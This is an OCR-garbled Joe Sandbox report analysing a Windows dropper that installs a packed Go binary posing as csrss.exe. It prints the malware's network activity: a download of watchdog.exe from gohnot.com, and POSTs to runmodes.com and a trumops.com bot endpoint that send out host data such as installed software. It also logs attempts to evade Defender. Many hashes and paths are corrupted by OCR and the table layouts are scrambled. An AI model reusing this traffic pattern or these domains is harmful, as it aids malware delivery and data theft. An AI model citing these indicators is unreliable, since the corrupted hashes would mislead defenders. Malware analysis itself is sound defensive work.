288256

6.31266455792162

false
3072:gbHszDa0J8u2HHFIWr6e29kOnK7qFQ8wMIi517kGvNjzMuszHshoY46bEydJ+dK9:SA3IIIA6e29vngqS8wMmuooh8z+8F
D98E33B66343E7C96158444127A117F6

BB716C5509A2BF345C6C1152F6E3E1452D39D50D
5DE4E2B07A26102FE527606CES5DA1D5A4B938967C9D380A3C5FES6E2E34AAAFL
705275E4A1BA8205EB799A8CF1737BC8BAG86925E52C9198A6060A7ABEEEG5552A85B814AC494A4B975D496A63BE285F19A6265550585F2FC85824C42D7EFABS
true

e Antivirus: Avira, Detection: 100%
e Antivirus: Metadefender, Detection: 14%, Browse
e Antivirus: ReversingLabs, Detection: 73%

unknown

C:\Users\luser\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001YS (copy)

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.11027387102746783

false

12:26hzXm/Ey6q9995Ffsq3qQ10nMCldimE8eawHjc2i:26MI68rZLyMCldzE9BHjch
59780508EC9D4F0D75A06B5CD8FDB782
7908F113274A3C5D2BA954AB1E914E5F73B66609
9D15CA570CBA2201A2AA89A0757D23761054BDEBAEA7C69F50FECBE4998D4D14

B7C95BC2C0B513E7007F8FFBO08A54ABDD07B83BCDE6615811E84CAEA2FB8B761299AC7EB871AE12D365BE726B2ADDF5D631BB38E1D7486FFB272203133667
DD

false

unknown

.................................................. @tzres..dll,.-212..
..S.y.n.cV.erb.os.e. C \Users\hardz\AppData\LocaI\pa
ckages\ActlveSync\LocaIState\D|agOutputD|r\Sycherbose B P P

C:\Users\user\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.1127826807463711

false
12:KXm/Ey6g9995FfSTwimiM3qQ10nMCldimE8eawHzalmilQcE:/I68rSk1tMLyMCldzE9BHzaltlQZ
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https://www.metadefender.com/#!/results/file/YnpJeE1Ea3lOMlpIYUZwVVNWaHZVV1FGbGx6MHd2VW1G/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDQxNGxiWUc0NnBuWk1MdkNWQi1KSnM/regular/analysis

C:\Users\user\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

MDS5: 212C7C49EC89D181D5A4009E8FBOCC8F

SHA1L: 1332ABD28D67B9F97A94923F626D8D381D07A218

SHA-256: 87175704COED1C2564DBD4D91C9D150DC89AF92654A30AB2ADC8ACT7B4258FC50

SHA-512: A1D3672051A1CC05606B363D039D8D6FDD6F55BA1A1BE2A7CF7D06C594CE3D8ECT7772762682DF7A8410974E3FB6009A1BBC72FA446A0DC84998FFB4C8943BF
6

Malicious: false

Reputation: unknown

Preview:
................................................................................................................. BoooenZbiceeecieeenn @.0.2210.5 AL L2 2,120
e @.t.Zre.S D 2.0 D C3yeeies e ~Z.......UnistackcC.ircular.. C.:\Us.ers\hardz\Ap.p.D.atal\Lo.cal\p.a.

ckag.es\ActiveSy.ncl\lLo.calStatel\D.ia.g.O.u.tp.utD.irlU.nistackCircular. etl. ... .PP. . 9. e

C:\Users\luser\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001.. (copy)

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.11264829878785992

Encrypted: false

SSDEEP: 12:fXm/Ey6q9995FflglmK2P3qQ10nMCldimE8eawHzalmK/N:OI68rlgliPLyMCldzE9BHzal7N

MDS5: 8CAOCDD2FB3FA75BEDO6CIABD3277C05

SHA1L: 8493F6EA64D776A0CBD50BF83D3ADASAEEF65AAF

SHA-256: 4F408F9E3A5C7550BE4DFC4E74BD8325E8FB347BD2D7A29E235F5EFOE9EC8FFD

SHA-512: 76E671DF103A3171048058E6B6A93B182F38C19B957D8DD347A1617748ADF60EBF9334F6DABCOBD74E3AEB69AESCAADIC7E411157BBD1CBC011820370AA6A8
CcB

Malicious: false

Reputation: unknown

Preview:

C:\Windows\Logs\CBS\CBS.log

Process: C:\Windows\servicing\TrustedInstaller.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators

Category: modified

Size (bytes): 3080192

Entropy (8bit): 5.314130349771336

Encrypted: false

SSDEEP: 6144:TLS5YygL1mnGVFQa/qJIxOfTFyKQel5ImhSVjfChg4TMmdgIH: TL1dq

MD5: CA1379F5BBD36FFAAF5163A464309B78

SHA1L: 6927C04A2725CA246A9DDIEDA85504C38DB76394

SHA-256: 3584011B777E2BBA89A633353F83384ADBEBC3FCDDC51579BCB42B0AA885F14B

SHA-512: 5B93BB83E047CC420FF5FF89264F3EBFE69277894616841F4COF72CD2D6FF5F0BB8450DESE6CE6C70EFEL7F4A2A46076372BEFB3A305EA78AD1D243E45728232E

Malicious: false

Reputation: unknown

Preview:
.2019-06-27 00:55:29, Info CBS TI: --- Initializing Trusted Installer ---..2019-06-27 00:55:29, Info CBS TI: Last boot time: 2019-06-27 00:4
9:51.660..2019-06-27 00:55:29, Info CBS Starting TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsP
ublicSessionClassFactory, level: 30, total lock:4..2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total
lock:5..2019-06-27 00:55:29, Info CBS Lock: New lock added: WinlogonNotifyLock, level: 8, total lock:6..2019-06-27 00:55:29, Info CBS Ending
TrustedlInstaller initialization...2019-06-27 00:55:29, Info CBS Starting the TrustedInstaller main loop...2019-06-27 00:55:29, Info CBS Tr
ustedInstaller service starts successfully...2019-06-27 00:55:29, Info CBS No startup pr

C:\Windows\ServiceProfiles\NetworkService\AppDatalLocal\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211111 095702 651.etl

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 8192

Entropy (8bit): 3.381558405825923

Encrypted: false

SSDEEP: 96:0CF20+HP5FT9Y2Y6FCoUSI2IZvkn94KIHT28YFz2UMCF6JRXY52:7UvnKoS2bA3bCeT
MD5: 11889C6C1D894417EFAB47A9FDBF21C6

SHAL: 543D24874BB616353A923E4CDOBA6C4325C457E9

SHA-256: 561D50A8E282FEEAFC45C26EF5B9052DD4E3CF205CC16758DDDI0A3BAEELD126
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C:\Windows\ServiceProfiles\NetworkService\AppDatalLocal\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211111 095702_651.etl

SHA-512: 988C0OC9DBF7E711BFB036A8SE4EC0711DD6BE1D7DE36D62C3C58D1683489D5BF1D8114EDAD51191B16A0151FC5DDA05EB813473DB14929D7C7D529D3B3DB15
6

Malicious: false

Reputation: unknown

Preview:

Process: C:\Users\user\Desktop\4t4y4r89UZ.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 4520488

Entropy (8bit): 7.954926052042642

Encrypted: false

SSDEEP: 98304:wymevTOPXdqwlzrd118FM2CmglyX/EdY8Pfk7KqDgJGNv0O4+ASYD:VmaaPXdgwzyvUYzgJlyMQD

MD5: 14C0D8425930CCEC0566B04864A05670

SHA1L: 07FD6746417C89239E8B4B272FA350C5DC41C580

SHA-256: FEA538EFF5BC9CD3970EDDA4B3DDFAOE72505B01DC207E47D8112074720FAO5E

SHA-512: 12EOFE096E8E8FB54C3C820580EE1EF536F0A6BD014C057FDE4263F1DE643D0E51D27850AE6DEF83C013FFB49F02699A651D0B422A5FB7C396CCB961ADAESE
5

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 39%
Reputation: unknown
Preview:
1..L.IThis program cannot be run in DOS mode....$..

[T zC..p....A.....C..
....yC

L ZIKZIKZIK X ZIX L X ZIXK, X ZIX X ZPX ZIXSZIX., X .Z

Process: C:\Windowsl\rss\csrss.exe

File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed

Category: modified

Size (bytes): 2102272

Entropy (8bit):  7.879347868736008

Encrypted: false

SSDEEP: 49152:1+yuly+dcYwix9gadRmAYBfo9hazz2Du5VDyn:1Cy+qa9qWmAYBQfazzpDy

MD5: EOA50C60A85BFBBOECF45BFF0239AAA3

SHAL: AEOE12BC885CB5D4D26C49F6AE20ED40313EDF99

SHA-256: FC8D064EO5EBE37D661AECCB78F91085845E9E28CCFF1F9B08FD373830E38B7F

SHA-512: 03D1440B462B872B7AE4AFCCBB455FCOC3AB4E9BF13D07726CE2A9FFICE4AOE7632A45AFA4B52265973D51C8COD6E24CEB4EF81FBAD23CDDF04B64F461FAS50!
oD

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: Metadefender, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 79%

Reputation: unknown

Preview:

K.&....... Go build ID: "8LgdNw100MnjnEaf..0.ouob/F_u>d7bw5LzGyM067¢/f_4E....n-llykrT4Xu-NukD/RUnzYH.IbGfj....1Lu
...... froveondnlL$h...... .08, 4.5 \H DL TP~ [ AZepUd, T.@ T2 HO Yo 2 0.9, X 2( |
M.S$.ooiilo A9} W95 9. 5.

k&

\Device\Null

Process: C:\Windowsl\rss\csrss.exe

File Type: ASCII text

Category: dropped

Size (bytes): 1893

Entropy (8bit):  4.9781217303638385

Encrypted: false

SSDEEP: 48:nv491EHNI7/AYdaAwyHHMJ2Qs0iPys0io:nvICHNI7OyHHMJ2g9F
MD5: A557C4FDAF53B1AA77384BEFFA92661A

SHAL: 1ED645B8AA469ACEBBOAYAC34998683A600FF108
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https://www.metadefender.com/#!/results/file/bzIxMTAxOVFYWk90OGJHTWlROV9WRDY5NmVo/regular/analysis

\Device\Null

SHA-256: 0896EF145C7AB6E9609420C98F98D873CD72579B8FBDA3CD159D96318E786416E

SHA-512: D439E04A0DC5B36667D832EA54FDAC88F318D1FCIA592427EDE1474FE79D16583AD059F5C651E16E968B039CEBE130999D841044AFDIBAFFICA3041A729F8FE
Malicious: false

Reputation: unknown

Preview:

2021/11/11 01:57:24 servers count 16.2021/11/11 01:57:24 logs endpoint https://runmodes.com/api/log.2021/11/11 01:57:24 initial server https://server8.trumops.c
om.2021/11/11 01:57:24 first install, ignore discover on start.2021/11/11 01:57:24 default browser ChromeHTML.2021/11/11 01:57:28 before EfiGuard.2021/11/11 01:
57:29 poll response body {"signature":"5745c2e019f85235chd094aa07{8f24e47db8c0chdffc6471a50bc49778724d141f4e71bee8b87e0c37930934dfae49063d3b
4db5a88b42f150bfc10bflcal0f"}.2021/11/11 01:57:29 poll signature verified 5745c2e019f85235chd094aa07{8f24e47db8c0chdffc6471a50bc49778724d141f4e71bee8b
87e0c37930934dfae49063d3b4db5a88b42f150bfc10bflcal0f.2021/11/11 01:57:34 reboot in 1s5.2021/11/11 01:57:35 rebooting now.2021/11/11 01:57:40 failed to hide
app: unacceptable PGDSE state: 65.2021/11/11 01:57:43 couldn't exclude temp defender: couldn't create device: The system cannot find the file specified..2021/11/11 0

1:57:43 service is not running.2021/11/11 01:57:43 service needs an up

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Copyright Joe Security LLC 2021

PE32 executable (GUI) Intel 80386, for MS Windows
7.954926052042642

e Win32 Executable (generic) a (10002005/4)
99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%

At4y4r89UZ.exe

4520488
14c0d8425930ccec0566b04864a05670
07fd6746417c89239e8b4b272fa350c5dc41c580

feab538eff5hc9cd3970eddadb3ddfa0e72505b01dc207e4
7d8112074720fa05e

12e0fe096e8e8fb54c3c820580ee1ef536f0abbd014c057f
de4263f1de643d0e51d27850ae6def83c013ffh49f02699a
651d0b422a5fb7c396cch961adae5e05

98304:wymevTOPXdqwlzrd1I8FM2CmglyX/EdY8Pfk7
KgDgJGNV04+ASYD:VmaaPXdqwzyvUYzgJyMQD

aedaae9eceab2aa?2

0x8182e0

text

true

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE
TERMINAL_SERVER_AWARE, NX_COMPAT
0x6000B185 [Thu Jan 14 21:03:01 2021 UTC]

Ll 2 B N &) B ) |

5bf1109d17f31fdf1287dd3cc8a8bd45
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Authenticode Signature

Signature Valid:
Signature Issuer:

Signature Validation Error:

Error Number:

Not Before, Not After
Subject Chain
Version:

Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:

Serial:

Entrypoint Preview
Rich Headers

Data Directories
Sections

Name  Virtual Address

text 0x1000

.data 0x439000

.rsrc 0x2b30000

.reloc 0x2b35000

Resources
Imports
Version Infos
Possible Origin

Language of compilation system

Spanish

Divehi; Dhivehi; Maldivian

Network Behavior

Virtual Size

0x437988

0x26f686¢

0x40c8

0x11bc8

Network Port Distribution

TCP Packets

UDP Packets
Copyright Joe Security LLC 2021

Raw Size

0x437a00

0x1600

0x4200

0x11c00

Xored PE

unknown

unknown

False

False

false

PostalCode=10305

A certificate chain processed, but terminated in a root certificate which is not trusted
by the trust provider

-2146762487
e 11/10/2021 3:53:02 PM 11/10/2022 3:53:02 PM

e PostalCode=10305

3

046EBBOAOFBFD4C2F85D5511A00C769B

OAGF3BEB4B81C6E4791C511DE34E6484277B1D99

D8B14DB5B868297FF5FBB14E701E1A2674EBD36F51FA5751C34DBFOA74D14A8A

43071B451406BB75C591CD4F54C74219

ZLIB Complexity

unknown

unknown

0.719696969697

0.0812747579225

File Type

unknown

unknown

data

data

Country where language is spoken

Paraguay

Maldives

Entropy

unknown

unknown

6.2674119958

1.04753991658

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ
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DNS Queries

Timestamp

Nov 11, 2021 01:57:25.558749914 CET
Nov 11, 2021 01:57:25.601104021 CET

Nov 11, 2021 01:57:25.633168936 CET

Nov 11, 2021 01:57:25.798604012 CET
Nov 11, 2021 01:57:25.941287041 CET
Nov 11, 2021 01:57:29.762208939 CET
Nov 11, 2021 01:57:31.092811108 CET
Nov 11, 2021 01:57:45.395169020 CET
Nov 11, 2021 01:57:46.263003111 CET

Nov 11, 2021 01:57:52.263390064 CET

Nov 11, 2021 01:57:55.960362911 CET

Nov 11, 2021 01:58:41.725279093 CET

DNS Answers

Timestamp Source IP

Nov 11, 2021 8.8.8.8
01:57:25.580398083
CET

Nov 11, 2021 8.8.8.8
01:57:25.622384071
CET

Nov 11, 2021 8.8.8.8
01:57:25.654891014
CET

Nov 11, 2021 8.8.8.8
01:57:25.819714069
CET

Nov 11, 2021 8.8.8.8
01:57:25.819714069
CET

Nov 11, 2021 8.8.8.8
01:57:25.962297916
CET

Nov 11, 2021 8.8.8.8
01:57:25.962297916
CET

Nov 11, 2021 8.8.8.8
01:57:29.781250954
CET

Nov 11, 2021 8.8.8.8
01:57:29.781250954
CET

Nov 11, 2021 8.8.8.8
01:57:31.111459970
CET

Nov 11, 2021 8.8.8.8
01:57:31.111459970
CET

Nov 11, 2021 8.8.8.8
01:57:45.415052891
CET

Nov 11, 2021 8.8.8.8
01:57:45.415052891
CET
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Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x65fe

0x1f10

0xc9fd

0x4e67

0x4e67

0x4744

0x4744

Ox2cdl

Ox2cdl

0x443e

0x443e

0x7046

0x7046

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0x65fe

0x1f10

0xcofd

Ox4e67

0x4744

0x2cd1

0x443e

0x7046

0x6¢70

Ox3cee

0x96aa

0x97ce

Name

trumops.com

logs.trumo
ps.com

f7873597-7b36-
4441-9416-
097456
f134ae.uui
d.trumops.com

runmodes.com

runmodes.com

server8.tr
umops.com

server8.tr
umops.com

runmodes.com

runmodes.com

server8.tr
umops.com

server8.tr
umops.com

server8.tr
umops.com

server8.tr
umops.com

OP Code
Standard query
(0

Standard query
0

Standard query
0

Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0
Standard query
(0)
Standard query
@
Standard query
©)

Standard query
©)
Standard query
©)

CName

none

Name

trumops.com

logs.trumops.com

f7873597-7b36-
4441-9416-
097456
f134ae.uui
d.trumops.com

runmodes.com
server8.tr
umops.com
runmodes.com
server8.tr

umops.com

server8.tr
umops.com

gohnot.com

e0a50c60a8
5bfbb9ecf4
5bff0239aa
a3.hash.tr
umops.com

runmodes.com

server8.tr
umops.com

Address

none

104.21.34.203

172.67.207.136

104.21.79.9

172.67.139.144

104.21.34.203

172.67.207.136

104.21.79.9

172.67.139.144

172.67.139.144

104.21.79.9

Type
16

16

16

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

16

A (IP address)

A (IP address)

Type
TXT (Text
strings)

TXT (Text
strings)

16

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName
Nov 11, 2021 8.8.8.8 192.168.2.3 0x6¢70 No error (0) gohnot.com
01:57:46.282412052
CET
Nov 11, 2021 8.8.8.8 192.168.2.3 0x6¢70 No error (0) gohnot.com
01:57:46.282412052
CET
Nov 11, 2021 8.8.8.8 192.168.2.3 Ox3cee No error (0) e0a50c60a8
01:57:52.282677889 5bfbb9ecf4
CET 5bff0239aa
a3.hash.tr
umops.com
Nov 11, 2021 8.8.8.8 192.168.2.3 0x96aa No error (0) runmodes.com
01:57:55.981394053
CET
Nov 11, 2021 8.8.8.8 192.168.2.3 0x96aa No error (0) runmodes.com
01:57:55.981394053
CET
Nov 11, 2021 8.8.8.8 192.168.2.3 0x97ce No error (0) server8.tr
01:58:41.744313002 umops.com
CET
Nov 11, 2021 8.8.8.8 192.168.2.3 0x97ce No error (0) serverg.tr
01:58:41.744313002 umops.com
CET
HTTP Request Dependency Graph
e runmodes.com
e server8.trumops.com
e gohnot.com
HTTP Packets
Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.3 49747 104.21.34.203 443 C:\Windowsl\rss\csrss.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP  Destination Port Process
1 192.168.2.3 49748 104.21.79.9 443 C:\Windowsl\rss\csrss.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
2 192.168.2.3 49749 104.21.34.203 443 C:\Windows\rss\csrss.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
3 192.168.2.3 49750 104.21.79.9 443 C:\Windows\rss\csrss.exe
kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
4 192.168.2.3 49751 172.67.139.144 443 C:\Windows\rss\csrss.exe
kBytes
Timestamp transferred Direction Data

Copyright Joe Security LLC 2021

Address
172.67.196.11

104.21.92.165

172.67.207.136

104.21.34.203

172.67.139.144

104.21.79.9

Type
A (IP address)

A (IP address)

TXT (Text
strings)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Session ID

5

Timestamp

Session ID

6

Timestamp

Session ID

7

Timestamp

Nov 11, 2021
01:57:46.367980957 CET

Nov 11, 2021
01:57:46.396821022 CET

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3
kBytes

transferred

1050

1051

HTTPS Proxied Packets

Session ID
0

Timestamp

Source IP
192.168.2.3

kBytes
transferred

2021-11-11 00:57:26 UTC 0
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Source Port

49754

Direction

Source Port

49808

Direction

Source Port

49752

Direction

ouT

Source Port
49747

Direction

ouT

Destination IP Destination Port Process

172.67.207.136 443 C:\Windows\rss\csrss.exe

Data

Destination IP Destination Port Process

172.67.139.144 443 C:\Windows\rss\csrss.exe

Data

Destination IP Destination Port Process

172.67.196.11 80 C:\Windows\rss\csrss.exe

Data

GET /61c75dbee3f325b4d87cddaf5bae3393/watchdog.exe HTTP/1.1
Host: gohnot.com

User-Agent: Go-http-client/1.1

Uuid: f7873597-7b36-4441-9416-097456f134ae

Version: 183

Accept-Encoding: gzip

HTTP/1.1 200 OK

Date: Thu, 11 Nov 2021 00:57:46 GMT
Content-Type: application/octet-stream
Content-Length: 2102272

Connection: keep-alive

content-disposition: attachment; filename=watchdog.exe
etag: "616ea494-201400"

last-modified: Tue, 19 Oct 2021 10:57:24 GMT
Cache-Control: max-age=3600
CF-Cache-Status: HIT

Age: 3465

Accept-Ranges: bytes

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.comVireport\/\v3?s=mUdca%2FhPVx%2BculNOmD4c0%2Fq%2B
%2FeXbPU6Zq0S%2FW1p4uyl4SjDH8JZzFzI5IDyMwmOEeLJ8hLsHyRpILoj74RMKgCuPLLbsz17avF1sdGfblzhrwO

lhomEIDn412zdD"}],"group”:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 6ac39180d8125c92-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01

4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 €0 00 03 03 Ob 01
03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06
00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00
00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 €0 55 50 58 31 00 00 00 00 00 10 20
00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10

00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPXO0p-UPX1 - @UPX2M

Destination IP Destination Port Process
104.21.34.203 443 C:\Windows\rss\csrss.exe

Data

POST /api/log HTTP/1.1

Host: runmodes.com

User-Agent: Go-http-client/1.1

Content-Length: 144

Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
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kBytes
Timestamp transferred

2021-11-11 00:57:26 UTC 0

2021-11-11 00:57:26 UTC 12

Session ID Source IP

1 192.168.2.3
kBytes

Timestamp transferred

2021-11-11 00:57:26 UTC 0

2021-11-11 00:57:26 UTC 0

2021-11-11 00:57:26 UTC 1

2021-11-11 00:57:26 UTC 3

2021-11-11 00:57:26 UTC 4

2021-11-11 00:57:26 UTC 8

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49748

Direction

ouT

ouT

ouT

ouT

ouT

ouT

Data

Data Raw: 71 4f 59 76 58 43 58 54 43 37 6d 79 4a 47 49 73 30 35 78 7a 68 45 65 72 32 54 4d 65 38 6e 37 47 6e 6a 61 44
42 58 36 6f 4b 5a 33 2b 46 61 2f 43 44 4f 30 6e 4c 65 6e 34 6f 4e 4b 69 51 78 47 62 65 32 42 4e 6a 32 6f 32 32 78 52 46
43 4a 55 79 6a 49 2b 55 32 6d 58 7a 76 59 46 71 66 32 65 79 4a 55 51 62 6a 48 68 44 37 38 4c 37 75 2f 45 77 33 44 33
70 75 43 5a 63 37 30 4c 64 6a 56 55 45 56 48 2f 70 41 5a 5a 65 6b 47 4c 65 78 39 58 34

Data Ascii: gqOYVXCXTC7myJGIs05xzhEer2TMe8n7GnjaDBX60KZ3+Fa/CDO0nLen4oNKiQxGbe2BNj2022xRFCJ
Uyjl+U2mXzvYFqgf2eyJUQbjHhD78L7u/Ew3D3puCZc70LdjVUEVH/pAZZekGLex9X4

HTTP/1.1 200 OK

Date: Thu, 11 Nov 2021 00:57:26 GMT

Content-Length: 0

Connection: close

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\v3?s=015Uarx556ixdHy70RivRos Y tXYjyRif
qgP6t1%2BtmZOXZAbOiahwkZVvykPAVESOkuK0O8hYCBgqo0339em9U6tDCFHGM8DNCAOItSELXFNpS7RGTg4CSkI20
kQIKzmI%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ac391019eeab99b-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Destination IP Destination Port Process

104.21.79.9 443 C:\Windows\rss\csrss.exe

Data

POST /bots/post-ia-data?uuid=f7873597-7b36-4441-9416-097456f134ae HTTP/1.1
Host: server8.trumops.com

User-Agent: Go-http-client/1.1

Content-Length: 18950

Content-Type: application/json; charset=UTF-8

Accept-Encoding: gzip

Data Raw: 5b 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f
66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 31 34 35 29 20 33 32 2d 42 69 74 20 45 64 69 74 69
6f 6e 22 2¢ 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a
22227d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66
74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 33 31 34 31 34 35 36 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f
6e 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22
